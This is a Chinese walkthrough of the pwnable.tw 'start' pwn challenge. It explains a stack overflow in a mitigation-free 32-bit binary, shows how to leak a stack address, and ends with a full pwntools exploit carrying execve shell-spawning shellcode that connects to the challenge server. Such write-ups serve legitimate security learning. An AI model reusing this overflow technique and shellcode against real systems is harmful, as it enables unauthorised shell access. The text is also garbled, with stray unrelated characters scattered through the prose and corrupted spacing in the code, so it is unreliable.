概述:本題是pwn的入門級(jí)題目,幾乎把所有利用的難度都降到最低,應(yīng)該只是用來讓入門者大致了解pwn題的玩法。
1变汪、首先f(wàn)ile start,可以看到這是一個(gè)32位的elf文件蚁趁,靜態(tài)編譯裙盾,同時(shí)保留了符號(hào)信息;
2他嫡、然后checksec start番官,可以看到幾乎所有的安全緩解措施都關(guān)閉了,將利用的難度降到了最低钢属;
3徘熔、用IDA分析start,可以看到這是一個(gè)非常簡(jiǎn)單的程序署咽,只有兩個(gè)函數(shù)start和exit,其中exit函數(shù)只是簡(jiǎn)單退出程序,主要分析start函數(shù)宁否。
start函數(shù)同樣非常簡(jiǎn)單窒升,主要做了兩件事:調(diào)用sys_write函數(shù)打印出20字節(jié)長(zhǎng)度的字符串"Let's start the CTF:"、調(diào)用sys_read函數(shù)讀入60字節(jié)長(zhǎng)度的字符串慕匠,這里很明顯存在一個(gè)棧溢出饱须,在這里先整理一下常規(guī)棧溢出的利用思路,因?yàn)楸绢}中存在各種故意設(shè)計(jì)的巧合導(dǎo)致利用起來很簡(jiǎn)單台谊,并不能完整反映出棧溢出的利用流程蓉媳。
棧溢出利用思路:
(1)確認(rèn)溢出點(diǎn),以及計(jì)算出溢出的長(zhǎng)度锅铅;
(2)判斷以何種方式覆蓋返回地址酪呻,即以什么復(fù)寫返回地址來達(dá)到劫持執(zhí)行流程的目的;
(3)將程序啟用的安全緩解措施逐個(gè)繞過盐须。
接下來玩荠,一邊分析start函數(shù)一邊解決上面三個(gè)問題。
(1)start函數(shù)首先push esp贼邓,這是一個(gè)比較有意思的指令阶冈,本質(zhì)就是在棧上保存了這個(gè)棧內(nèi)存單元自己的地址,考慮到程序沒有開啟ASLR和PIE塑径,所以如果我們能將這個(gè)保存在棧上的數(shù)據(jù)泄露出的話就解決了利用思路中的第二點(diǎn)女坑,即以硬編碼的方式復(fù)寫返回地址劫持執(zhí)行流程到shellcode;
(其實(shí)用硬編碼的方式覆蓋返回地址是很少用的方式统舀,這種方式最簡(jiǎn)單匆骗,但是如果程序開啟了PIE使得棧地址隨機(jī)化或者復(fù)寫的返回地址存在壞字節(jié)都會(huì)使得這種方式失敗,常用的應(yīng)該是與地址無關(guān)的解決辦法)
(2)接下來push offset _exit绑咱,也就是將退出函數(shù)的地址壓入堆棧绰筛,這實(shí)際上是壓入函數(shù)的返回地址;
(3)接下來由于需要利用四個(gè)常用寄存器傳參描融,所以先將其清空铝噩;
(4)接下來是通過sys_write系統(tǒng)調(diào)用來輸出字符串"Let's start the CTF:",值得注意的是給ecx的傳參方式:mov ecx, esp窿克,表面上是將ecx指向上面push進(jìn)棧中的字符串骏庸,也就是要打印的字符串,但也要認(rèn)識(shí)到如果調(diào)用得當(dāng)我們可以通過這個(gè)參數(shù)輸出棧上的其他數(shù)據(jù)年叮,比如在push esp指令中壓入棧中的棧地址具被,這也是在解決利用思路中的第二點(diǎn),也就是泄露棧地址只损;
(泄露棧地址的前提是棧地址是固定的一姿,即沒有開啟PIE七咧,否則是沒有意義的。)
(5)接下來是通過sys_read系統(tǒng)調(diào)用來輸入60個(gè)字節(jié)的字符叮叹,這很明顯是棧溢出的溢出點(diǎn)艾栋,解決了利用思路中的第一點(diǎn)中找到溢出點(diǎn)的部分;
(6)接下來add esp, 14h蛉顽,也就是將棧地址拉高20個(gè)字節(jié)蝗砾,這是在清理自己使用的棧空間携冤,依此可確定溢出長(zhǎng)度為20個(gè)字節(jié)悼粮,這解決了利用思路中的第一點(diǎn)計(jì)算出溢出長(zhǎng)度的部分,其他復(fù)雜情況下的溢出長(zhǎng)度可以通過腳本來計(jì)算曾棕。
(實(shí)際上這一步涉及到不同語(yǔ)言的函數(shù)調(diào)用約定扣猫,傳參以及空間清理等,在此不展開討論)
(7)由于本程序沒有開啟NX或者canary睁蕾,同時(shí)棧地址固定且已知苞笨,可以直接把shellcode復(fù)寫在棧上劫持返回地址到shellcode,所以分析到這里就可以整理出完整的利用思路子眶。
4瀑凝、通過上面的討論基本確定了利用思路(方式有多種,這里用最簡(jiǎn)單的思路):
首先在函數(shù)運(yùn)行到讀入字符串時(shí)通過棧溢出將返回地址覆蓋為mov ecx, esp指令的地址臭杰,由于沒有開啟PIE粤咪,所以代碼段的地址沒有隨機(jī)化,這個(gè)地址是固定且已知的渴杆,這樣函數(shù)將把write和read系統(tǒng)調(diào)用再執(zhí)行一遍寥枝,而且在第二次執(zhí)行write系統(tǒng)調(diào)用時(shí)由于此時(shí)ecx指向第一條匯編指令push esp所保存的占內(nèi)存單元的地址,所以這次write系統(tǒng)調(diào)用會(huì)輸出那個(gè)棧單元的內(nèi)存地址磁奖,這樣我們就泄露出了棧地址囊拜,同時(shí)由于沒有開啟ASLR且不存在壞字節(jié)所以我們可以直接在第二次read系統(tǒng)調(diào)用中將shellcode溢出寫在這個(gè)地址開始的棧內(nèi)存中,并用這個(gè)地址覆蓋返回地址比搭,但是值得注意的是第二次還會(huì)有add esp冠跷,14h這條指令,所以實(shí)際覆蓋點(diǎn)還要調(diào)高20個(gè)字節(jié)身诺。
簡(jiǎn)單說蜜托,一共有兩次棧溢出,第一次復(fù)寫返回地址為 mov ecx, esp指令的地址來泄露棧地址霉赡,第二次溢出注入shellcode再利用第一次溢出獲得的棧地址劫持流程到shellcode橄务。
5、基于此思路寫的exp如下穴亏,其中shellcode部分直接使用80h中斷中的sys_execve(x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80):
# -*- coding:utf-8 -*-
"""
exp for pwnable.tw start.
by rafa.
"""
from pwn import? *
def exp():
? ? p = remote("chall.pwnable.tw", 10000)
? ? # 硬編碼覆蓋返回地址為 mov ecx, esp 指令所在地址
? ? payload = 'a' * 20 + p32(0x08048087)
? ? p.recvuntil(":")
? ? p.send(payload)
? ? # 第二次系統(tǒng)調(diào)用read時(shí)再次清理?xiàng)蜂挪?臻g調(diào)高20字節(jié)
? ? addr = u32(p.recv(4)) + 20
? ? shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
? ? payload = "a" * 20 + p32(addr) + shellcode? ?
? ? p.send(payload)
? ? p.interactive()
if __name__ == '__main__':
??? exp()
執(zhí)行利用腳本獲得shell重挑,利用結(jié)果截圖如下:
查看flag如下: